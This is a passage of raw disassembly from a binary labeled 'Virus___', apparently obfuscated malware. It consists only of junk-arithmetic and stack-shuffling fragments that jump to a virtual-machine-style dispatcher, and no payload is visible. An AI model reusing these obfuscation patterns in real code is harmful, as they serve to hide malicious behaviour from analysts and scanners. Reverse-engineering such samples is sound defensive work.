; ---------------------------------------------------------------------------


loc_58BB19:				; CODE XREF: Virus___:00585876j
		add	ebp, 9AB2A714h
		add	ebp, eax
		pop	eax
		add	ebp, 428623FFh
		push	esi
		mov	esi, 4C264E97h
		and	ebp, esi
		pop	esi
		jmp	loc_588C3D
; ---------------------------------------------------------------------------


loc_58BB36:				; CODE XREF: Virus___:00583C59j
		mov	edx, 4
		add	edi, 0FBA626Dh
		add	edi, edx
		sub	edi, 0FBA626Dh
		pop	edx
		jmp	loc_580762
; ---------------------------------------------------------------------------


loc_58BB4F:				; CODE XREF: Virus___:00588AFAj
		push	eax
		mov	eax, 1E357160h
		add	eax, 45BF49DBh
		sub	eax, 38FF3FE1h
		or	ebx, eax
		pop	eax
		not	ebx
		sub	ebx, 0D00A007Ch
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		jmp	loc_5919B0
; ---------------------------------------------------------------------------


loc_58BB75:				; CODE XREF: Virus___:00582C3Fj
		push	4086F8Dh
		pop	ebp
		push	ecx
		mov	ecx, 279C53ECh
		and	ebp, ecx
		pop	ecx
		jmp	loc_582182
; ---------------------------------------------------------------------------


loc_58BB89:				; CODE XREF: Virus___:005830E2j
		add	eax, ebp
		add	eax, 1444E86h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	eax, 4
		jmp	loc_586642
; ---------------------------------------------------------------------------


loc_58BBA2:				; CODE XREF: Virus___:00586685j
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 29D50C9Dh
		add	edi, 496320A1h
		xor	edi, 7B787DD8h
		xor	edx, edi
		pop	edi
		push	623Bh
		mov	[esp], eax
		jmp	loc_58E904
; ---------------------------------------------------------------------------


loc_58BBCD:				; CODE XREF: Virus___:0058F49Aj
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		jmp	loc_5896C7
; ---------------------------------------------------------------------------


loc_58BBDE:				; CODE XREF: Virus___:0058059Dj
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_583318
; ---------------------------------------------------------------------------


loc_58BBF0:				; CODE XREF: Virus___:0057F8AFj
		push	ebx
		pop	ecx
		push	ecx
		sub	dword ptr [esp], 32C92662h
		pop	eax
		push	edi
		jmp	loc_58F82D
; ---------------------------------------------------------------------------


loc_58BC01:				; CODE XREF: Virus___:00590CDDj
		xchg	edi, [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58BC12:				; CODE XREF: Virus___:00590C70j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58CCFD
; ---------------------------------------------------------------------------


loc_58BC24:				; CODE XREF: Virus___:00581ED1j
		push	2A5Dh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_580B80
; ---------------------------------------------------------------------------


loc_58BC3F:				; CODE XREF: Virus___:00590426j
		add	esp, 4
		jmp	loc_59199B
; ---------------------------------------------------------------------------


loc_58BC47:				; CODE XREF: Virus___:00587180j
		neg	ah
		inc	ah
		jmp	loc_58E430
; ---------------------------------------------------------------------------


loc_58BC50:				; CODE XREF: Virus___:0058E970j
		sub	[esp+4], edi
		pop	edi
		add	dword ptr [esp], 1B4520EDh
		jmp	loc_590FDE
; ---------------------------------------------------------------------------


loc_58BC61:				; CODE XREF: Virus___:0057F718j
		sub	bh, cl
		pop	ecx
		push	edx
		push	eax
		jmp	loc_58F871
; ---------------------------------------------------------------------------


loc_58BC6B:				; CODE XREF: Virus___:00593566j
		neg	eax
		shl	eax, 8
		push	ebx
		jmp	loc_58C5AD
; ---------------------------------------------------------------------------


loc_58BC76:				; CODE XREF: Virus___:00582121j
		sub	edi, 19A7788h
		add	edi, 35AF5B7Ah
		add	edi, eax
		sub	edi, 35AF5B7Ah
		add	edi, 19A7788h
		jmp	loc_585E0D
; ---------------------------------------------------------------------------


loc_58BC95:				; CODE XREF: Virus___:0058AF66j
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58686D
; ---------------------------------------------------------------------------


loc_58BCA9:				; CODE XREF: Virus___:0058AEF0j
		push	ebp
		mov	ebp, 4
		push	ebp
		jmp	loc_57F5B1
; ---------------------------------------------------------------------------


loc_58BCB5:				; CODE XREF: Virus___:0058F21Aj
		mov	[esp], ax
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58BCBE:				; CODE XREF: Virus___:005914F2j
		mov	eax, [esp]
		jmp	loc_58B2C4
; ---------------------------------------------------------------------------


loc_58BCC6:				; CODE XREF: Virus___:0058FBFCj
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		mov	ecx, 6C5F4891h
		jmp	loc_58FF9D
; ---------------------------------------------------------------------------


loc_58BCE2:				; CODE XREF: Virus___:005916ADj
		mov	ecx, 12F420CEh
		push	eax
		mov	eax, 38B43149h
		and	eax, 536A5535h
		add	eax, 14E053CCh
		jmp	loc_580ED0
; ---------------------------------------------------------------------------


loc_58BCFC:				; CODE XREF: Virus___:0058EE3Dj
		shl	ebp, 2
		and	ebp, 44B667F1h
		sub	ebp, 6D630D91h
		sub	esp, 4
		mov	[esp], edx
		push	edi
		jmp	loc_5882D3
; ---------------------------------------------------------------------------


loc_58BD17:				; CODE XREF: Virus___:005852AAj
		add	[esp+4], esi
		jmp	loc_584F54
; ---------------------------------------------------------------------------


loc_58BD20:				; CODE XREF: Virus___:00587B93j
		not	ebp
		xchg	ebp, edi
		push	esi
		mov	esi, 5FD45DA7h
		jmp	loc_58E8C1
; ---------------------------------------------------------------------------


loc_58BD2F:				; CODE XREF: Virus___:005879B2j
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	5397h
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		jmp	loc_5902E2
; ---------------------------------------------------------------------------


loc_58BD4B:				; CODE XREF: Virus___:0058ADD9j
		and	edx, 2B118F9h
		xor	edx, 2B118BCh
		mov	eax, edx
		jmp	loc_586CCB
; ---------------------------------------------------------------------------


loc_58BD5E:				; CODE XREF: Virus___:00590DDDj
		xchg	edx, [esp]
		pop	esp
		neg	ebx
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 26A9285Eh
		mov	ecx, edx
		pop	edx
		not	ecx
		jmp	loc_580071
; ---------------------------------------------------------------------------


loc_58BD85:				; CODE XREF: Virus___:0058583Fj
		pop	esp
		mov	[esp], esi
		push	1846h
		mov	[esp], ebp
		mov	ebp, 5ABB0BC1h
		push	66457AECh
		pop	esi
		xor	esi, ebp
		pop	ebp
		xor	eax, esi
		pop	esi
		or	eax, eax
		jnz	loc_586FA7
		push	4AE3h
		mov	[esp], edi
		push	37646AEEh
		pop	edi
		push	7BCEh
		mov	[esp], ebp
		mov	ebp, 3CD71B0Fh
		xor	edi, ebp
		pop	ebp
		shl	edi, 2
		push	ecx
		mov	ecx, 511E19C7h
		jmp	loc_59218D
; ---------------------------------------------------------------------------


loc_58BDD6:				; CODE XREF: Virus___:0058369Cj
		mov	ebx, [esp]
		add	esp, 4
		sub	esi, 4
		jmp	loc_583A74
; ---------------------------------------------------------------------------


loc_58BDE7:				; CODE XREF: Virus___:0058F1F2j
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		xchg	edx, esi
		jmp	loc_58A5A7
; ---------------------------------------------------------------------------


loc_58BDFA:				; CODE XREF: Virus___:0058E8FFj
		add	ecx, 0EA97007h
		add	ecx, 72A018F0h
		add	edx, ecx
		pop	ecx
		push	5F6Fh
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, 4B914FA0h
		add	ebx, 40BC53B4h
		jmp	loc_585A9B
; ---------------------------------------------------------------------------


loc_58BE27:				; CODE XREF: Virus___:0058AC72j
		push	edx
		not	dword ptr [esp]
		pop	edx
		add	edx, 412F01C3h
		push	0F22h
		mov	[esp], edi
		jmp	loc_584607
; ---------------------------------------------------------------------------


loc_58BE3F:				; CODE XREF: Virus___:00585EE8j
		mov	ecx, esi
		pop	esi
		add	ebx, ecx
		pop	ecx
		push	edi
		mov	edi, 4
		jmp	loc_58004F
; ---------------------------------------------------------------------------


loc_58BE50:				; CODE XREF: Virus___:00593BBFj
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58BE55:				; CODE XREF: Virus___:00580551j
		add	edi, ecx
		add	edi, 2C3D5360h
		jmp	loc_58B830
; ---------------------------------------------------------------------------


loc_58BE62:				; CODE XREF: Virus___:00592055j
		add	ebp, 4634C9F4h
		add	esi, 667504B0h
		add	esi, ebp
		sub	esi, 667504B0h
		pop	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_58070E
; ---------------------------------------------------------------------------


loc_58BE82:				; CODE XREF: Virus___:005851D0j
		pop	edx
		add	ecx, 7CD5253Fh
		add	ecx, 0A4C3169h
		add	ecx, ebp
		sub	ecx, 0A4C3169h
		sub	ecx, 7CD5253Fh
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	6F11h
		jmp	loc_58AC88
; ---------------------------------------------------------------------------


loc_58BEB8:				; CODE XREF: Virus___:00580AE6j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_58A9EC
; ---------------------------------------------------------------------------


loc_58BED1:				; CODE XREF: Virus___:00594058j
		pop	bx
		push	1E88h
		mov	[esp], ebx
		mov	bl, 0D7h
		inc	bl
		jmp	loc_585A8C
; ---------------------------------------------------------------------------


loc_58BEE4:				; CODE XREF: Virus___:00583EA0j
		add	edx, 62365EF9h
		and	edx, 5DCF5C27h
		xor	edx, 55C24h
		jmp	loc_58CE61
; ---------------------------------------------------------------------------


loc_58BEFB:				; CODE XREF: Virus___:00581879j
		sub	ah, 0A6h
		sub	ah, dh
		add	ah, 0A6h
		mov	edx, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_585BE6
; ---------------------------------------------------------------------------


loc_58BF0F:				; CODE XREF: Virus___:0059125Ej
		or	esi, 0D390A21h
		inc	esi
		xor	esi, 9FFBAFB4h
		jmp	loc_5848FB
; ---------------------------------------------------------------------------


loc_58BF21:				; CODE XREF: Virus___:00584F4Fj
		inc	bh
		sub	bh, 21h
		not	bh
		or	bh, 83h
		push	edx
		mov	dl, 96h
		jmp	loc_5911F9
; ---------------------------------------------------------------------------


loc_58BF33:				; CODE XREF: Virus___:0057F8C0j
		sub	esp, 4
		jmp	loc_58189E
; ---------------------------------------------------------------------------


loc_58BF3B:				; CODE XREF: Virus___:005903B5j
		mov	edx, esp
		jmp	loc_5919C9
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58A5F6
; ---------------------------------------------------------------------------


loc_58BF4B:				; CODE XREF: Virus___:005875E9j
		add	ecx, 38046F2Eh
		add	ecx, 9A812F5h
		pop	ebx
		add	ecx, edi
		add	ecx, 45062FBAh
		mov	eax, [ecx]
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	370h
		jmp	loc_58718F
; ---------------------------------------------------------------------------


loc_58BF81:				; CODE XREF: Virus___:00582269j
		add	esp, 2
		jmp	loc_5808E3
; ---------------------------------------------------------------------------


loc_58BF89:				; CODE XREF: Virus___:0058D0B3j
		xor	ebp, 32C0FB67h
		mov	edx, ebp
		pop	ebp
		xor	esi, edx
		mov	edx, [esp]
		jmp	loc_590534
; ---------------------------------------------------------------------------


loc_58BF9C:				; CODE XREF: Virus___:0058222Ej
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5900C8
; ---------------------------------------------------------------------------


loc_58BFA8:				; CODE XREF: Virus___:0058814Cj
		mov	esp, [esp]
		jmp	loc_58668A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_58AAA8
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_582CB5
; ---------------------------------------------------------------------------


loc_58BFC2:				; CODE XREF: Virus___:0058A499j
		add	esi, 4
		add	esi, 4
		jmp	loc_581A58
; ---------------------------------------------------------------------------


loc_58BFD0:				; CODE XREF: Virus___:00581EC9j
		sub	eax, 0FA5FA614h
		add	eax, 150C5201h
		sub	eax, 40C875A9h
		sub	edi, 6D4F27A7h
		add	edi, eax
		add	edi, 6D4F27A7h
		jmp	loc_581040
; ---------------------------------------------------------------------------


loc_58BFF2:				; CODE XREF: Virus___:00589DC6j
		xor	edx, 6E1D13ADh
		sub	edx, 0C77871B6h
		add	ebx, edx
		pop	edx
		push	esi
		mov	esi, 7DF7EC9h
		xor	esi, 7DF7EC9h
		mov	[ebx], esi
		pop	esi
		jmp	loc_58F995
; ---------------------------------------------------------------------------


loc_58C015:				; CODE XREF: Virus___:00591104j
		mov	[esp], edx
		jmp	loc_58B44A
; ---------------------------------------------------------------------------


loc_58C01D:				; CODE XREF: Virus___:00581C44j
		push	ebp
		jmp	loc_58E1C4
; ---------------------------------------------------------------------------


loc_58C023:				; CODE XREF: Virus___:0058B8DFj
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		push	esi
		mov	esi, 4
		push	esi
		add	dword ptr [esp], 482C05BFh
		jmp	loc_58077E
; ---------------------------------------------------------------------------


loc_58C041:				; CODE XREF: Virus___:00585C35j
		add	dl, 0D7h
		sub	ah, dl
		mov	edx, [esp]
		add	esp, 4
		sub	ah, 0E2h
		or	dh, ah
		pop	eax
		shr	dh, 5
		add	dh, 5Eh
		sub	al, 0FEh
		add	al, 49h
		jmp	loc_5825CC
; ---------------------------------------------------------------------------


loc_58C061:				; CODE XREF: Virus___:00582EABj
		add	ecx, 63D66F22h
		pop	esi
		xor	ecx, 0E2961D24h
		jmp	loc_58B937
; ---------------------------------------------------------------------------


loc_58C073:				; CODE XREF: Virus___:00587F5Aj
		push	746Ch
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_580AFE
; ---------------------------------------------------------------------------


loc_58C0A1:				; CODE XREF: Virus___:005901F3j
		shr	ebp, 2
		jmp	loc_58531D
; ---------------------------------------------------------------------------


loc_58C0A9:				; CODE XREF: Virus___:0058197Bj
		add	edx, 309C212Ch
		jmp	loc_593E57
; ---------------------------------------------------------------------------


loc_58C0B4:				; CODE XREF: Virus___:00585A75j
		add	esp, 4
		push	ebx
		mov	ebx, 9B4662Bh
		or	ebx, 6D64023Bh
		and	ebx, 7F390D04h
		jmp	loc_589E74
; ---------------------------------------------------------------------------


loc_58C0CE:				; CODE XREF: Virus___:00582132j
		mov	eax, 9CC47D2h
		mov	esi, eax
		pop	eax
		mov	edx, esi
		pop	esi
		jmp	loc_58F4CC
; ---------------------------------------------------------------------------


loc_58C0DE:				; CODE XREF: Virus___:00583492j
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_593344
; ---------------------------------------------------------------------------


loc_58C0E9:				; CODE XREF: Virus___:0058FB64j
		pop	edx
		sub	dword ptr [esp+4], 80A5F74h
		jmp	loc_5828EE
; ---------------------------------------------------------------------------


loc_58C0F7:				; CODE XREF: Virus___:0058940Aj
		pop	ecx
		jmp	loc_58B3DC
; ---------------------------------------------------------------------------


loc_58C0FD:				; CODE XREF: Virus___:0058C313j
		sub	bl, 0D0h
		sub	bl, 6Ch
		sub	bl, al
		add	bl, 6Ch
		push	dx
		push	76F5h
		mov	[esp], ebx
		mov	bh, 6Dh
		jmp	loc_58B878
; ---------------------------------------------------------------------------


loc_58C119:				; CODE XREF: Virus___:00583239j
		push	ecx
		jmp	loc_583A7D
; ---------------------------------------------------------------------------


loc_58C11F:				; CODE XREF: Virus___:00580B7Bj
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58C14C:				; CODE XREF: Virus___:0058921Fj
		mov	al, 38h
		dec	al
		jmp	loc_582706
; ---------------------------------------------------------------------------


loc_58C155:				; CODE XREF: Virus___:00593085j
		shl	bl, 2
		xchg	dl, bl
		push	dx
		not	byte ptr [esp]
		pop	dx
		xchg	dl, bl
		sub	bl, 55h
		sub	al, 0BEh
		sub	al, bl
		add	al, 0BEh
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bl, 3Fh
		shr	bl, 4
		push	2990h
		mov	[esp], eax
		push	edx
		mov	dh, 0EDh
		mov	al, 81h
		jmp	loc_5910EE
; ---------------------------------------------------------------------------


loc_58C1A3:				; CODE XREF: Virus___:0058305Dj
		add	esp, 4
		sub	eax, 2896F2Eh
		push	ecx
		mov	ecx, 17BC5FC6h
		jmp	loc_585419
; ---------------------------------------------------------------------------


loc_58C1B9:				; CODE XREF: Virus___:005907CEj
		sub	ecx, 4B41062Eh
		not	ecx
		add	ecx, 280287F0h
		push	ebx
		jmp	loc_589798
; ---------------------------------------------------------------------------


loc_58C1CD:				; CODE XREF: Virus___:00589E9Aj
		mov	ch, 0Ah
		jmp	loc_5928B3
; ---------------------------------------------------------------------------


loc_58C1D4:				; CODE XREF: Virus___:00580860j
		push	ebx
		jmp	loc_58D3CA
; ---------------------------------------------------------------------------


loc_58C1DA:				; CODE XREF: Virus___:00593232j
		pop	dword ptr [esp]
		push	ecx
		mov	ecx, 4
		jmp	loc_581719
; ---------------------------------------------------------------------------


loc_58C1E8:				; CODE XREF: Virus___:0058FED2j
		push	small 182Eh
		mov	[esp], dx
		push	ebx
		jmp	loc_59388B
; ---------------------------------------------------------------------------


loc_58C1F6:				; CODE XREF: Virus___:00591A7Aj
		not	esi
		add	esi, 38FE71DCh
		xor	esi, 38610E84h
		sub	edx, esi
		jmp	loc_58E840
; ---------------------------------------------------------------------------


loc_58C20B:				; CODE XREF: Virus___:00583553j
		add	ebx, edi
		jmp	loc_588B74
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58F1BC
; ---------------------------------------------------------------------------


loc_58C21A:				; CODE XREF: Virus___:005815F7j
		mov	esi, 1
		or	[edi+1Ch], esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_593203
; ---------------------------------------------------------------------------


loc_58C22D:				; CODE XREF: Virus___:00587855j
		xchg	eax, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		push	6A5Eh
		mov	[esp], ebp
		jmp	loc_581BB9
; ---------------------------------------------------------------------------


loc_58C241:				; CODE XREF: Virus___:00593926j
		add	eax, [edx]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5910D4
; ---------------------------------------------------------------------------


loc_58C257:				; CODE XREF: Virus___:0058F544j
		pop	edi
		add	eax, ebx
		pop	ebx
		push	esi
		mov	esi, 4
		jmp	loc_58C363
; ---------------------------------------------------------------------------


loc_58C266:				; CODE XREF: Virus___:00592CDDj
		mov	esp, [esp]
		push	edi
		pop	eax
		jmp	loc_590815
; ---------------------------------------------------------------------------


loc_58C270:				; CODE XREF: Virus___:0057FEC2j
		pop	ebx
		jmp	loc_593F2D
; ---------------------------------------------------------------------------


loc_58C276:				; CODE XREF: Virus___:00583621j
		pop	ecx
		add	ebx, ebp
		jmp	loc_5835A9
; ---------------------------------------------------------------------------


loc_58C27E:				; CODE XREF: Virus___:00585715j
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5821E7
; ---------------------------------------------------------------------------


loc_58C288:				; CODE XREF: Virus___:00592DC3j
		add	edi, 4
		jmp	loc_58D8DD
; ---------------------------------------------------------------------------


loc_58C293:				; CODE XREF: Virus___:005830B5j
		sub	esp, 4
		jmp	loc_585152
; ---------------------------------------------------------------------------


loc_58C29B:				; CODE XREF: Virus___:00585155j
		mov	edx, 7B4C1B7Ah
		add	edx, 0A1BC37EAh
		mov	ebx, edx
		pop	edx
		mov	edi, 1D085368h
		sub	edi, 3AA658E8h
		sub	edi, ebx
		jmp	loc_592E34
; ---------------------------------------------------------------------------


loc_58C2BB:				; CODE XREF: Virus___:00581B75j
		shl	ecx, 6
		jmp	loc_58E9C5
; ---------------------------------------------------------------------------


loc_58C2C3:				; CODE XREF: Virus___:0058463Dj
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_582A6E
; ---------------------------------------------------------------------------


loc_58C2D5:				; CODE XREF: Virus___:00593A50j
		not	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		xchg	eax, edx
		xor	edx, 0E2F591FEh
		and	ecx, edx
		pop	edx
		shr	ecx, 0
		or	eax, eax
		jz	loc_57FBFD
		push	433Fh
		mov	[esp], ebp
		push	edx
		jmp	loc_592111
; ---------------------------------------------------------------------------


loc_58C304:				; CODE XREF: Virus___:0058CA29j
		xor	esi, edx
		jmp	loc_5929C3
; ---------------------------------------------------------------------------


loc_58C30B:				; CODE XREF: Virus___:0058F894j
		sub	al, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58C0FD
; ---------------------------------------------------------------------------


loc_58C318:				; CODE XREF: Virus___:005897C9j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_58DE51
; ---------------------------------------------------------------------------


loc_58C321:				; CODE XREF: Virus___:0058DE4Cj
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_58853E
; ---------------------------------------------------------------------------


loc_58C32B:				; CODE XREF: Virus___:0058036Cj
		sub	dword ptr [esp], 2EFF5256h
		pop	ebx
		add	ebx, 2EFF5256h
		pop	edi
		push	ebx
		push	eax
		jmp	loc_586C4B
; ---------------------------------------------------------------------------


loc_58C341:				; CODE XREF: Virus___:00591A8Bj
		dec	edi
		shl	edi, 3
		jmp	loc_581D26
; ---------------------------------------------------------------------------


loc_58C34A:				; CODE XREF: Virus___:00591FB8j
		push	ebp
		mov	ebp, 472F54A3h
		jmp	loc_582D27
; ---------------------------------------------------------------------------


loc_58C355:				; CODE XREF: Virus___:005899C6j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_584DCF
; ---------------------------------------------------------------------------


loc_58C363:				; CODE XREF: Virus___:0058C261j
		sub	eax, 5AE0243Eh
		add	eax, esi
		add	eax, 5AE0243Eh
		mov	esi, [esp]
		jmp	loc_592912
; ---------------------------------------------------------------------------


loc_58C377:				; CODE XREF: Virus___:0059380Fj
		push	esp
		pop	dword ptr [esp]
		push	ebp
		mov	ebp, 4
		sub	dword ptr [esp+4], 75790116h
		add	[esp+4], ebp
		add	dword ptr [esp+4], 75790116h
		pop	ebp
		pop	eax
		jmp	loc_591863
; ---------------------------------------------------------------------------


loc_58C39C:				; CODE XREF: Virus___:005913B3j
		inc	esi
		sub	esi, 39BB6BFBh
		inc	esi
		shl	esi, 7
		jmp	loc_5893A8
; ---------------------------------------------------------------------------


loc_58C3AC:				; CODE XREF: Virus___:00589793j
		mov	eax, 2
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_590912
; ---------------------------------------------------------------------------


loc_58C3BE:				; CODE XREF: Virus___:00584D72j
		push	ebp
		jmp	loc_5927C9
; ---------------------------------------------------------------------------


loc_58C3C4:				; CODE XREF: Virus___:00592597j
		push	ecx
		mov	ecx, esp
		jmp	loc_58A549
; ---------------------------------------------------------------------------


loc_58C3CC:				; CODE XREF: Virus___:005819FEj
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58863A
; ---------------------------------------------------------------------------


loc_58C3E2:				; CODE XREF: Virus___:00581C9Ej
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_591841
		push	ebx
		jmp	loc_588989
; ---------------------------------------------------------------------------


loc_58C417:				; CODE XREF: Virus___:005871FAj
		sub	ecx, 0EA3701DEh
		mov	edx, ecx
		pop	ecx
		sub	ebx, edx
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58C43F:				; CODE XREF: Virus___:005913ABj
		add	eax, 2DD0070Fh
		shl	eax, 1
		push	ebx
		mov	ebx, 1
		add	eax, ebx
		jmp	loc_58ECA5
; ---------------------------------------------------------------------------


loc_58C453:				; CODE XREF: Virus___:0058B132j
		sub	al, dl
		add	al, 3Eh
		push	dword ptr [esp]
		pop	edx
		push	eax
		push	esp
		jmp	loc_58014F
; ---------------------------------------------------------------------------


loc_58C462:				; CODE XREF: Virus___:00590C47j
		add	esp, 4
		sub	esi, 7D342352h
		add	esi, eax
		add	esi, 7D342352h
		pop	eax
		jmp	loc_583CE1
; ---------------------------------------------------------------------------


loc_58C47C:				; CODE XREF: Virus___:00591903j
		pop	dword ptr [edi+eax*4]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58C484:				; CODE XREF: Virus___:00580A33j
		mov	edi, esp
		push	esi
		mov	esi, 20ED5E0Ah
		add	esi, 0DF12A1FAh
		add	edi, esi
		pop	esi
		add	edi, 2
		jmp	loc_586383
; ---------------------------------------------------------------------------


loc_58C4A0:				; CODE XREF: Virus___:0058E721j
		neg	edx
		jmp	loc_57FA1B
; ---------------------------------------------------------------------------


loc_58C4A7:				; CODE XREF: Virus___:0058D956j
		pop	ebp
		add	esp, 4
		jmp	loc_582C94
; ---------------------------------------------------------------------------


loc_58C4B3:				; CODE XREF: Virus___:005851B0j
		sub	ecx, 24D143E6h
		jmp	loc_58B9F2
; ---------------------------------------------------------------------------


loc_58C4BE:				; CODE XREF: Virus___:00580B28j
		add	edi, edx
		add	edi, 633C1E5Ah
		add	edi, 204D6128h
		mov	edx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_58E9DE
; ---------------------------------------------------------------------------


loc_58C4D8:				; CODE XREF: Virus___:0057F3FAj
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_590ACC
; ---------------------------------------------------------------------------


loc_58C4EB:				; CODE XREF: Virus___:00590BD2j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58C4F0:				; CODE XREF: Virus___:005847E6j
		mov	esi, [esp]
		jmp	loc_59405D
; ---------------------------------------------------------------------------


loc_58C4F8:				; CODE XREF: Virus___:00580BFAj
		add	esp, 4
		push	ebp
		jmp	loc_58DFEE
; ---------------------------------------------------------------------------


loc_58C504:				; CODE XREF: Virus___:0058F070j
		mov	eax, 4
		sub	esi, eax
		pop	eax
		xchg	esi, [esp]
		jmp	loc_585CCE
; ---------------------------------------------------------------------------


loc_58C514:				; CODE XREF: Virus___:0058D5D1j
		and	ebp, 3B126A6Eh
		add	ebp, 9C8FC26h
		jmp	loc_587FE7
; ---------------------------------------------------------------------------


loc_58C525:				; CODE XREF: Virus___:00591873j
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	400h
		pop	edi
		jmp	loc_58FC55
; ---------------------------------------------------------------------------


loc_58C542:				; CODE XREF: Virus___:0058DA45j
		mov	ecx, 7B29796Fh
		and	ecx, 5F674C45h
		not	ecx
		shr	ecx, 5
		shl	ecx, 8
		sub	ecx, 0A5CB5F2h
		push	edi
		mov	edi, ecx
		push	2CB5h
		mov	[esp], edi
		jmp	loc_58F706
; ---------------------------------------------------------------------------


loc_58C56B:				; CODE XREF: Virus___:005885B3j
		sub	ebp, 36D93EFEh
		sub	ebp, esi
		jmp	loc_590771
; ---------------------------------------------------------------------------


loc_58C578:				; CODE XREF: Virus___:00592EAEj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_592940
; ---------------------------------------------------------------------------


loc_58C586:				; CODE XREF: Virus___:005877FEj
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_58746A
; ---------------------------------------------------------------------------


loc_58C590:				; CODE XREF: Virus___:005923D1j
		inc	ebx
		neg	ebx
		add	ebx, 0DF14507h
		and	ebx, 196F53A6h
		push	ebx
		jmp	loc_580EDA
; ---------------------------------------------------------------------------


loc_58C5A5:				; CODE XREF: Virus___:00583C0Bj
		pop	edi
		add	ebp, edx
		jmp	loc_582503
; ---------------------------------------------------------------------------


loc_58C5AD:				; CODE XREF: Virus___:0058BC71j
		push	4CAB0FFCh
		pop	ebx
		sub	eax, ebx
		pop	ebx
		sub	edi, 5FBF049Eh
		add	edi, eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 5FBF049Eh
		jmp	loc_590DE2
; ---------------------------------------------------------------------------


